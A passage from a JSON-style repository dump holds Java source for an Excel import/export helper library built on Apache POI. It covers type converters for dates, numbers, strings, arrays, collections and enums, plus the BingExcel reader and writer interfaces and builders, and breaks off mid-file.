    "content": "package com.jun.plugin.poi.test.excel.converter.base;\n\nimport java.lang.reflect.Type;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Collections;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport org.apache.poi.ss.usermodel.DateUtil;\n\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.exception.ConversionException;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\nimport com.jun.plugin.poi.test.utils.StringParseUtil;\n\n/**\n * @author Wujun\n * \n * @date 2016-3-21 Description:\n */\npublic final class DateFieldConverter extends AbstractFieldConvertor {\n\n\tprivate static final ThreadLocal<Map<Object, Object>> localFormat = new ThreadLocal<>();\n\tprivate final String inFormatStr;\n\tprivate final String outFormatStr;\n\tprivate final String inFormatKey = \"inKey\";\n\tprivate final String outFormatKey = \"outKey\";\n\n\tpublic DateFieldConverter(boolean smartConversion) {\n\t\tthis(\"yyyy-MM-dd HH:mm:ss\", smartConversion);\n\t}\n\n\tpublic DateFieldConverter() {\n\t\tthis(false);\n\t}\n\n\tpublic DateFieldConverter(String formats, boolean smartConversion) {\n\t\tthis(formats, formats, smartConversion);\n\t}\n\n\tpublic DateFieldConverter(String inFormats, String outFormats,\n\t\t\tboolean smartConversion) {\n\t\tthis.inFormatStr = inFormats;\n\t\tthis.outFormatStr = outFormats;\n\t}\n\n\t@Override\n\tpublic boolean canConvert(Class<?> clz) {\n\t\treturn clz.equals(Date.class);\n\t}\n\n\t@Override\n\tpublic OutValue toObject(Object source,ConverterHandler converterHandler) {\n\t\tif(source==null){\n\t\t\treturn null;\n\t\t}\n\t\treturn OutValue.dateValue(source);\n\t}\n\n\t@Override\n\tpublic   Object  fromString(String cell,ConverterHandler converterHandler,Type targetType) {\n\t\t\n\t\t\n\t\tString temp=cell;\n\t\tSimpleDateFormat inFormat=getFormat(outFormatKey);\n\t\t\n\t\tif(inFormat==null){\n\t\t\tthrow new NullPointerException(\"inFormat[SimpleDateFormat] is null\");\n\t\t}\n\t\tDate date;\n\t\ttry {\n\t\t\tdate = inFormat.parse(temp);\n\t\t\treturn date;\n\t\t} catch (ParseException e) {\n\t\t\ttry {\n\t\t\t\tinFormat.applyPattern(\"yy-MM-dd HH:mm\");\n\t\t\t\tdate = inFormat.parse(temp);\n\t\t\t\treturn date;\n\t\t\t} catch (ParseException e1) {\n\t\t\t\ttry {\n\t\t\t\t\tinFormat.applyPattern(\"yy-MM-dd\");\n\t\t\t\t\tdate = inFormat.parse(temp);\n\t\t\t\t\treturn date;\n\t\t\t\t} catch (ParseException e2) {\n\t\t\t\t\tthrow new ConversionException(\"Cannot parse date\" + cell, e2);\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\n\t}\n\n\tpublic SimpleDateFormat getFormat(String key) {\n\t\tif (key.equals(inFormatKey)) {\n\t\t\tMap<Object, Object> map = localFormat.get();\n\t\t\tif (map == null) {\n\t\t\t\tmap = Collections.synchronizedMap(new HashMap<>());\n\t\t\t\tlocalFormat.set(map);\n\t\t\t}\n\t\t\tObject object = map.get(key);\n\t\t\tif (object == null) {\n\t\t\t\tSimpleDateFormat format = new SimpleDateFormat(inFormatStr);\n\t\t\t\tmap.put(key, format);\n\t\t\t\tobject = format;\n\t\t\t\t\n\t\t\t}\n\t\t\treturn (SimpleDateFormat) object;\n\t\t} else if (key.equals(outFormatKey)) {\n\t\t\tMap<Object, Object> map = localFormat.get();\n\t\t\tif (map == null) {\n\t\t\t\tmap = Collections.synchronizedMap(new HashMap<>());\n\t\t\t\tlocalFormat.set(map);\n\t\t\t}\n\t\t\tObject object = map.get(key);\n\t\t\tif (object == null) {\n\t\t\t\tSimpleDateFormat format = new SimpleDateFormat(outFormatStr);\n\t\t\t\tmap.put(key, format);\n\t\t\t\tobject = format;\n\t\t\t}\n\t\t\treturn (SimpleDateFormat) object;\n\t\t}\n\t\treturn null;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/base/DoubleFieldConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter.base;\n\nimport java.lang.reflect.Type;\n\nimport org.apache.commons.lang3.StringUtils;\n\nimport com.google.common.base.Strings;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\n\npublic final class DoubleFieldConverter extends AbstractFieldConvertor {\n\n\t@Override\n\t public boolean canConvert(Class type) {\n\t        return type.equals(double.class) || type.equals(Double.class);\n\t    }\n\n\t@Override\n\tpublic Object fromString(String cell,ConverterHandler converterHandler,Type targetType) {\n\t\tif(StringUtils.isBlank(cell)){\n\t\t\treturn null;\n\t\t}\n\t\treturn Double.valueOf( cell);\n\t}\n\n\t@Override\n\tpublic OutValue toObject(Object source,ConverterHandler converterHandler) {\n\t\tif(source==null){\n\t\t\treturn null;\n\t\t}\n\t\treturn OutValue.doubleValue(source);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/base/FloatFieldConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter.base;\n\nimport java.lang.reflect.Type;\n\nimport com.google.common.base.Strings;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-21\n * Description:  \n */\npublic final class FloatFieldConverter extends AbstractFieldConvertor {\n\n\t@Override\n\tpublic boolean canConvert(Class<?> clz) {\n\t\treturn clz.equals(float.class) || clz.equals(Float.class);\n\t}\n\n\t@Override\n\tpublic Object fromString(String cell,ConverterHandler converterHandler,Type targetType) {\n\t\tif(Strings.isNullOrEmpty(cell)){\n\t\t\treturn null;\n\t\t}\n\t\treturn Float.valueOf(cell);\n\t}\n\n\t@Override\n\tpublic OutValue toObject(Object source,ConverterHandler converterHandler) {\n\t\tif(source==null){\n\t\t\treturn null;\n\t\t}\n\t\treturn OutValue.dateValue(((Float)source).doubleValue());\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/base/IntegerFieldConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter.base;\n\nimport java.lang.reflect.Type;\n\nimport com.google.common.base.Strings;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\nimport com.jun.plugin.poi.test.excel.vo.OutValue.OutType;\n\n/**\n * @author Wujun\n * \n * @date 2016-3-10 Description:\n */\npublic final class IntegerFieldConverter extends AbstractFieldConvertor {\n\n\t@Override\n\tpublic boolean canConvert(Class<?> clz) {\n\t\treturn clz.equals(int.class) || clz.equals(Integer.class);\n\t}\n\n\t/**\n\t * @return return the long value; return Long.decode(str),only in this case  the str start with \"0x\"\n\t */\n\t@Override\n\tpublic Object fromString(String cell,ConverterHandler converterHandler,Type targetType) {\n\n\t\tif (Strings.isNullOrEmpty(cell)) {\n\t\t\treturn null;\n\t\t}\n\t\tlong value= Long.decode(cell).longValue();\n    \tif(value < Integer.MIN_VALUE || value > 0xFFFFFFFFl) {\n    \t\tthrow new NumberFormatException(\"For input string: \\\"\" + cell + '\"');\n    \t}\n        return new Integer((int)value);\n\t}\n\n\t@Override\n\tpublic OutValue toObject(Object source,ConverterHandler converterHandler) {\n\t\tif(source==null){\n\t\t\treturn null;\n\t\t}\n\t\treturn OutValue.intValue(source);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/base/LongFieldConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter.base;\n\nimport java.lang.reflect.Type;\n\nimport com.google.common.base.Strings;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\n\npublic final class LongFieldConverter extends AbstractFieldConvertor {\n\n\t@Override\n\tpublic boolean canConvert(Class<?> clz) {\n\t\treturn clz.equals(long.class) || clz.equals(Long.class);\n\t}\n\n\t@Override\n\tpublic Object fromString(String cell, ConverterHandler converterHandler,\n\t\t\tType targetType) {\n\t\tif (Strings.isNullOrEmpty(cell)) {\n\t\t\treturn null;\n\t\t}\n\t\tint len = cell.length();\n\t\t if (len < 17) {\n\t            return Long.decode(cell);\n\t        }\n\t        char c0 = cell.charAt(0);\n\t        if (c0 != '0' && c0 != '#') {\n\t            return Long.decode(cell);\n\t        }\n\t        char c1 = cell.charAt(1);\n\t        final long high;\n\t        final long low;\n\t        if (c0 == '#' && len == 17) {\n\t            high = Long.parseLong(cell.substring(1, 9), 16) << 32;\n\t            low = Long.parseLong(cell.substring(9, 17), 16);\n\t        } else if ((c1 == 'x' || c1 == 'X') && len == 18) {\n\t            high = Long.parseLong(cell.substring(2, 10), 16) << 32;\n\t            low = Long.parseLong(cell.substring(10, 18), 16);\n\t        } else if (len == 23 && c1 == '1') {\n\t            high = Long.parseLong(cell.substring(1, 12), 8) << 33;\n\t            low = Long.parseLong(cell.substring(12, 23), 8);\n\t        } else {\n\t            return Long.decode(cell);\n\t        }\n\t        final long num = high | low;\n\t        return new Long(num);\n\t}\n\n\t@Override\n\tpublic OutValue toObject(Object source, ConverterHandler converterHandler) {\n\t\tif (source == null) {\n\t\t\treturn null;\n\t\t}\n\t\treturn OutValue.longValue(source);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/base/ShortFieldConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter.base;\n\nimport java.lang.reflect.Type;\n\nimport com.google.common.base.Strings;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\n\npublic final class ShortFieldConverter extends AbstractFieldConvertor {\n\n\t@Override\n\tpublic boolean canConvert(Class<?> clz) {\n\t\t return clz.equals(short.class) || clz.equals(Short.class);\n\t}\n\n\t@Override\n\tpublic Object fromString(String cell,ConverterHandler converterHandler,Type targetType) {\n\t\tif(Strings.isNullOrEmpty(cell)){\n\t\t\treturn null;\n\t\t}\n\t\tint value = Integer.valueOf(cell).intValue();\n    \tif(value < Short.MIN_VALUE || value > Short.MAX_VALUE) {\n    \t\tthrow new NumberFormatException(\"For input string: \\\"\" + cell + '\"');\n    \t}\n        return new Short((short)value);\n\t}\n\n\t@Override\n\tpublic OutValue toObject(Object source,ConverterHandler converterHandler) {\n\t\tif(source==null){\n\t\t\treturn null;\n\t\t}\n\t\treturn OutValue.intValue(((Short)source).intValue());\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/base/StringFieldConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter.base;\n\nimport java.lang.reflect.Type;\n\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\n\npublic final class StringFieldConverter extends AbstractFieldConvertor {\n\n\t@Override\n\tpublic boolean canConvert(Class<?> clz) {\n\t\t return clz.equals(String.class);\n\t}\n\n\t@Override\n\tpublic Object fromString(String cell,ConverterHandler converterHandler,Type targetType) {\n\t\treturn cell;\n\t}\n\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/collections/ArrayConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter.collections;\n\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Type;\n\nimport com.google.common.base.Strings;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.exception.ConversionException;\nimport com.jun.plugin.poi.test.excel.exception.IllegalEntityException;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-24\n * Description:  \n */\npublic class ArrayConverter extends AbstractFieldConvertor {\n\n\t\n\t\n\tprivate final String splitCharacter;\n\tpublic final static String SPACE_SPLIT=\" \";\n\tpublic final static String SPACE_COMMA=\",\";\n\tpublic final static String SPACE_SEMICOLON=\";\";\n\t\n\tpublic ArrayConverter() {\n\t\tsplitCharacter=SPACE_COMMA;\n\t}\n\n\tpublic ArrayConverter(String splitCharacter) {\n\t\tthis.splitCharacter=splitCharacter;\n\t}\n\n\t@Override\n\tpublic boolean canConvert(Class<?> clz) {\n\t\t\n\t\t return  clz.isArray();\n\t\t\n\t}\n\n\n\t@Override\n\tpublic OutValue toObject(Object source,ConverterHandler converterHandler) {\n\t\tif(source==null){\n\t\t\treturn null;\n\t\t}\n\t\tClass<?> type = source.getClass().getComponentType();\n\t\tFieldValueConverter converter = converterHandler.getLocalConverter(type);\n\t\tif(converter==null){\n\t\t\tthrow new ConversionException(\"can find the converter for type [\"\n\t\t\t\t\t\t\t+ type + \"]\");\n\t\t}\n\t\tint length = Array.getLength(source);\n\t\tStringBuilder bd=new StringBuilder();\n    \tfor(int i=0;i<length;i++){\n    \t\tObject object = Array.get(source, i);\n    \t\tOutValue value = converter.toObject(object, converterHandler);\n    \t\tbd.append(value.getValue());\n    \t\tif(i<length-1){\n    \t\t\tbd.append(splitCharacter);\n    \t\t}\n    \t}\n    \treturn OutValue.stringValue(bd.toString());\n\t}\n\n\t@Override\n\tpublic Object fromString(String cell,ConverterHandler converterHandler,Type targetType) {\n\t\tif(Strings.isNullOrEmpty(cell)){\n\t\t\treturn null;\n\t\t}\n\t\tif(targetType==null){\n\t\t\treturn null;\n\t\t}\n\t\tClass  type=(Class) targetType;\n\t\tString[] splitArr = cell.split(splitCharacter);\n\t\t\n\t\tFieldValueConverter converter = converterHandler.getLocalConverter(type);\n\t\tif(converter==null){\n\t\t\tthrow new ConversionException(\"can find the converter for type [\"\n\t\t\t\t\t\t\t+ type + \"]\");\n\t\t}\n\t\t Object array = Array.newInstance(type, splitArr.length);\n\t\t for (int i = 0; i < splitArr.length; i++) {\n\t\t\t Object object = converter.fromString(splitArr[i], converterHandler,type);\n\t\t\t Array.set(array, i, object);\n\t\t\t}\n\t\t\n\t\treturn array;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/collections/CollectionConverter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter.collections;\n\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.Vector;\n\nimport com.google.common.base.Strings;\nimport com.google.common.collect.Collections2;\nimport com.google.common.collect.Lists;\nimport com.google.common.collect.Sets;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.exception.ConversionException;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-24\n * Description:  \n */\npublic class CollectionConverter extends AbstractFieldConvertor {\n\tprivate final String splitCharacter;\n\tpublic final static String SPACE_SPLIT=\" \";\n\tpublic final static String SPACE_COMMA=\",\";\n\tpublic final static String SPACE_SEMICOLON=\";\";\n\t\n\tpublic CollectionConverter() {\n\t\tsplitCharacter=SPACE_COMMA;\n\t}\n\n\t@Override\n\tpublic boolean canConvert(Class type) {\n\t\treturn type.equals(ArrayList.class) ||type.equals(List.class)|| type.equals(HashSet.class)||type.equals(Set.class)\n\t\t\t\t|| type.equals(LinkedList.class);\n\t}\n\n\t@Override\n\tpublic OutValue toObject(Object source, ConverterHandler converterHandler) {\n\t\tif(source==null){\n\t\t\treturn null;\n\t\t}\n\t\tCollection collection = (Collection)source;\n\t\tStringBuilder bd=new StringBuilder();\n\t\tfor (Object obj : collection) {\n\t\t\tClass  class1 = obj.getClass();\n\t\t\tFieldValueConverter converter = converterHandler.getLocalConverter(class1);\n\t\t\tif(converter==null){\n\t\t\t\tthrow new ConversionException(\"can find the converter for type [\"\n\t\t\t\t\t\t\t\t+ class1 + \"]\");\n\t\t\t}\n\t\t\tOutValue outValue = converter.toObject(obj, converterHandler);\n\t\t\tbd.append(outValue.getValue());\n\t\t\tbd.append(splitCharacter);\n\t\t}\n\t\tStringBuilder builder = bd.replace(bd.length()-1, bd.length(), \"\");\n\t\treturn OutValue.stringValue(builder.toString());\n\t}\n\n\t@Override\n\tpublic Object fromString(String cell, ConverterHandler converterHandler,\n\t\t\tType targetType) {\n\t\tif(Strings.isNullOrEmpty(cell)){\n\t\t\treturn null;\n\t\t}\n\t\tif(targetType==null){\n\t\t\treturn null;\n\t\t}\n\t\tCollection collection = (Collection) createCollection(targetType);\n\t\tif(collection==null) {\n\t\t\treturn null;\n\t\t}\n\t\tClass genericsClass = getGenericsClass(targetType);\n\t\tFieldValueConverter converter = converterHandler.getLocalConverter(genericsClass);\n\t\tif(converter==null){\n\t\t\tthrow new ConversionException(\"can find the converter for type [\"\n\t\t\t\t\t\t\t+ genericsClass + \"]\");\n\t\t}\n\t\t\n\t\tString[] splitArr = cell.split(splitCharacter);\n\t\t\n\t\t for (int i = 0; i < splitArr.length; i++) {\n\t\t\t Object object = converter.fromString(splitArr[i], converterHandler,genericsClass);\n\t\t\t collection.add(object);\n\t\t\t}\n\t\t\n\t\treturn collection;\n\t}\n\n\tprivate Collection createCollection(Type type) {\n\t\tif (type == null) {\n\t\t\treturn null;\n\t\t}\n\t\tif(type.equals(ArrayList.class)||type.equals(List.class)){\n\t\t\treturn Lists.newArrayList();\n\t\t}else if(type.equals(HashSet.class)||type.equals(Set.class)){\n\t\t\treturn Sets.newHashSet();\n\t\t}else if(type.equals(LinkedList.class)){\n\t\t\treturn Lists.newArrayList();\n\t\t}else{\n\t\t\treturn null;\n\t\t}\n\t\t\n\t}\n\tprivate  Class getGenericsClass(Type fc ) {\n\t\tClass fieldClazz;\n\t        if (fc instanceof ParameterizedType) // 如果是泛型参数的类型\n\t        {\n\t            ParameterizedType pt = (ParameterizedType) fc;\n\t \n\t            fieldClazz = (Class) pt.getActualTypeArguments()[0]; //得到泛型里的class类型对象。\n\t        }else{\n\t        \tfieldClazz=String.class;\n\t        }\n\t \n\t    return fieldClazz;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/converter/enums/EnumConVerter.java",
    "content": "package com.jun.plugin.poi.test.excel.converter.enums;\n\nimport java.lang.reflect.Type;\n\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-21\n * Description:  \n */\npublic class EnumConVerter extends AbstractFieldConvertor {\n\n\t@Override\n\tpublic boolean canConvert(Class<?> clz) {\n\t\t return clz.isEnum() || Enum.class.isAssignableFrom(clz);\n\t}\n\n\t\n\n\t@Override\n\tpublic Object fromString(String cell,ConverterHandler converterHandler,Type type) {\n\t\t\tif(type==null){\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\tClass  targetType=(Class) type;\n\t\t  if (targetType.getSuperclass() != Enum.class) {\n\t\t\t  targetType = targetType.getSuperclass(); // polymorphic enums\n\t        }\n\t\t  try {\n\t            return Enum.valueOf(targetType, cell);\n\t        } catch (IllegalArgumentException e) {\n\t        \tEnum[] enumConstants = (Enum[])targetType.getEnumConstants();\n\t        \tfor (Enum item : enumConstants) {\n\t\t\t\t\tif(item.name().equals(cell)){\n\t\t\t\t\t\treturn item;\n\t\t\t\t\t}\n\t\t\t\t}\n\t        \t\n\t            throw e;\n\t        }\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/core/BingExcel.java",
    "content": "package com.jun.plugin.poi.test.excel.core;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.sql.SQLException;\nimport java.util.List;\n\nimport org.apache.poi.openxml4j.exceptions.InvalidFormatException;\nimport org.apache.poi.openxml4j.exceptions.OpenXML4JException;\nimport org.xml.sax.SAXException;\n\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelImpl.SheetVo;\n\n\n/**\n * 操作excel的类，需要poi3.13的jar包<br>\n * maven地址,目前仅支持03版本\n * <p>\n * &ltdependency&gt<br>\n * &nbsp;&ltgroupId&gtorg.apache.poi&lt/groupId&gt<br>\n * &nbsp;&ltartifactId&gtpoi&lt/artifactId&gt<br>\n * &nbsp; &ltversion&gt3.8&lt/version&gt<br>\n * &lt/dependency&gt\n * </p>\n * \n * @author Wujun\n * \n *         2015 2015-4-24 下午5:49:55\n * \n */\npublic interface BingExcel {\n\t/**\n\t * <p>\n\t * Title: readFileToList<／p>\n\t * <p>\n\t * Description:读取excel 的第一个sheet页到list<／p>\n\t * \n\t * @param file excel对应的文件\n\t * @param clazz 要转换类型的class对象\n\t * @param startRowNum 从第几行开始读取\n\t * @return \n\t * @throws Exception \n\t */\n\t<T> SheetVo<T> readFile(File file, Class<T> clazz, int startRowNum) throws Exception ;\n\t/**\n\t * 根据condition条件读取相应的sheet到list对象\n\t * @param file\n\t * @param condition\n\t * @return\n\t * @throws Exception \n\t */\n\t<T> SheetVo<T> readFile(File file, ReaderCondition<T> condition) throws Exception ;\n\n\t\n\t /**\n\t  * 读取所condition 对应 sheet表格，到list\n\t * @param file\n\t * @param conditions 每个表格对应的condition，注：对于返回的条数，取conditions中 endNum的最小值\n\t * @return sheetVo的list对象，如果没有符合conditions的结果，返回empetyList对象\n\t * @throws Exception \n\t */\n\tList<SheetVo> readFileToList(File file,ReaderCondition[] conditions) throws Exception ;\n\t \n\t \n\t<T> SheetVo<T> readStream(InputStream stream,ReaderCondition<T> condition) throws InvalidFormatException, IOException, SQLException, OpenXML4JException, SAXException ;\n\n\t/**\n\t * read sheet witch index equal 0\n\t * @param stream\n\t * @param condition\n\t * @return\n\t * @throws SQLException \n\t * @throws IOException \n\t * @throws InvalidFormatException \n\t * @throws SAXException \n\t */\n\t<T> SheetVo<T> readStream(InputStream stream, Class<T> clazz, int startRowNum) throws InvalidFormatException, IOException, SQLException ,OpenXML4JException, SAXException;\n\n\t /**\n\t  * read sheets \n\t * @param stream\n\t * @param condition\n\t * @return\n\t * @throws InvalidFormatException\n\t * @throws IOException\n\t * @throws SQLException\n\t * @throws OpenXML4JException\n\t * @throws SAXException\n\t */\n\tList<SheetVo> readStreamToList(InputStream stream,  ReaderCondition[] condition) throws InvalidFormatException, IOException, SQLException, OpenXML4JException, SAXException ;\n\t\n\t/**\n\t * 输出model集合到excel 文件。\n\t * @param iterables 要输出到文件的集合对象，\n\t * @param file 文件对象\n\t */\n\t void writeExcel(File file,Iterable... iterables)throws FileNotFoundException;\n\t void writeOldExcel(File file,Iterable... iterables)throws FileNotFoundException;\n\t/**\n\t * 输出model集合到excel 文件。\n\t * @param iterables\n\t * @param path 文件路径\n\t */\n\t void writeExcel(String path,Iterable... iterables);\n/**\n * 写出xls格式的excel文件\n* @param path\n* @param iterables\n*/\n\t void writeOldExcel(String path,Iterable... iterables);\n\t /**\n\t  * 写出xls格式的excel到输出流\n\t * @param stream\n\t * @param iterables\n\t */\n\tvoid writeExcel(OutputStream stream,Iterable... iterables);\n\t void writeOldExcel(OutputStream stream,Iterable... iterables);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/core/BingExcelBuilder.java",
    "content": "package com.jun.plugin.poi.test.excel.core;\n\n\nimport com.jun.plugin.poi.test.common.Builder;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.core.handler.LocalConverterHandler;\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelImpl;\n\n/**\n * <p>\n * Title: BingExcelBuilder<／p>\n * <p>\n * Description: <code>BingExcel</code>的构造类，可以添加自定义转换器等。<／p>\n * <p>\n * Company: bing<／p>\n * \n * @author Wujun\n * @date 2015-12-8\n */\n/**\n * <p>\n * Title: BingExcelBuilder<／p>\n * <p>\n * Description: <／p>\n * <p>\n * Company: bing<／p>\n * \n * @author Wujun\n * @date 2015-12-8\n */\npublic class BingExcelBuilder implements Builder<BingExcel> {\n\tprivate final ConverterHandler localConverterHandler = new LocalConverterHandler();\n\t/**\n\t * bingExcel:对应的excel工具类。\n\t */\n\tprivate BingExcel bingExcel;\n\n\t/**\n\t * <p>\n\t * Title: <／p>\n\t * <p>\n\t * Description: 构造新的builder对象<／p>\n\t */\n\tprivate BingExcelBuilder() {\n\n\t}\n\n\tpublic static Builder<BingExcel> toBuilder() {\n\n\t\treturn new BingExcelBuilder();\n\n\t}\n\t/**\n\t * @return BingExcel 实例\n\t */\n\tpublic static BingExcel builderInstance(){\n\t\treturn (new BingExcelBuilder()).builder();\n\t}\n\t@Override\n\tpublic Builder<BingExcel> registerFieldConverter(Class<?> clazz,\n\t\t\tFieldValueConverter converter) {\n\t\tlocalConverterHandler.registerConverter(clazz, converter);\n\t\treturn this;\n\t}\n\n\t@Override\n\tpublic BingExcel builder() {\n\t\tif (bingExcel == null) {\n\t\t\tbingExcel = new BingExcelImpl(localConverterHandler);\n\t\t}\n\n\t\treturn this.bingExcel;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/core/BingExcelEvent.java",
    "content": "package com.jun.plugin.poi.test.excel.core;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\n\n\n/**\n * @author Wujun\n *\n */\npublic interface BingExcelEvent {\n\n\t\n\t<T> void readFile(File file, Class<T> clazz, int startRowNum,BingReadListener listener) throws Exception ;\n\t/**\n\t * 根据condition条件读取相应的sheet到list对象\n\t * @param file\n\t * @param condition\n\t * @param listener\n\t * @return\n\t */\n\t<T> void readFile(File file, ReaderCondition<T> condition,BingReadListener listener) throws Exception ;\n\n\t\n\t /**\n\t  * 读取所有sheet表格，到list\n\t * @param file\n\t * @param conditions 每个表格对应的condition\n\t * @return\n\t */\n\tvoid readFileToList(File file,ReaderCondition[] conditions,BingReadListener listener) throws Exception;\n\t \n\t \n\n\t/**\n\t * 读取第一个sheet到SheetVo\n\t * @param stream\n\t * @param condition\n\t * @return\n\t */\n\t<T> void readStream(InputStream stream,ReaderCondition<T> condition,BingReadListener listener) throws Exception;\n\t<T> void readStream(InputStream stream,Class<T> clazz, int startRowNum,BingReadListener listener) throws Exception;\n\n\t void readStreamToList(InputStream stream,  ReaderCondition[] condition,BingReadListener listener) throws Exception;\n\t\n\t \n\t BingWriterHandler writeFile(File file)throws FileNotFoundException;\n\t\t\n\t BingWriterHandler  writeFile(String path);\n\t// BingWriterHandler  writeFile(OutputStream stream);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/core/BingExcelEventBuilder.java",
    "content": "package com.jun.plugin.poi.test.excel.core;\n\n\nimport com.jun.plugin.poi.test.common.Builder;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.core.handler.LocalConverterHandler;\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelEventImpl;\n\n/**\n * <p>\n * Title: BingExcelBuilder<／p>\n * <p>\n * Description: <code>BingExcel</code>的构造类，可以添加自定义转换器等。<／p>\n * <p>\n * Company: bing<／p>\n * \n * @author Wujun\n * @date 2015-12-8\n */\n/**\n * <p>\n * Title: BingExcelBuilder<／p>\n * <p>\n * Description: <／p>\n * <p>\n * Company: bing<／p>\n * \n * @author Wujun\n * @date 2015-12-8\n */\npublic class BingExcelEventBuilder implements Builder<BingExcelEvent> {\n\tprivate final ConverterHandler defaultLocalConverterHandler = new LocalConverterHandler();\n\n\tprivate BingExcelEvent bingExcelEvent;\n\n\t/**\n\t * <p>\n\t * Title: <／p>\n\t * <p>\n\t * Description:<／p>\n\t */\n\tprivate BingExcelEventBuilder() {\n\n\t}\n\n\tpublic static Builder<BingExcelEvent> toBuilder() {\n\n\t\treturn new BingExcelEventBuilder();\n\n\t}\n\t/**\n\t * @return BingExcelEvent实例\n\t */\n\tpublic static BingExcelEvent builderInstance(){\n\t\treturn (new BingExcelEventBuilder()).builder();\n\t}\n\t@Override\n\tpublic Builder<BingExcelEvent> registerFieldConverter(Class<?> clazz,\n\t\t\tFieldValueConverter converter) {\n\t\t\n\t\tdefaultLocalConverterHandler.registerConverter(clazz, 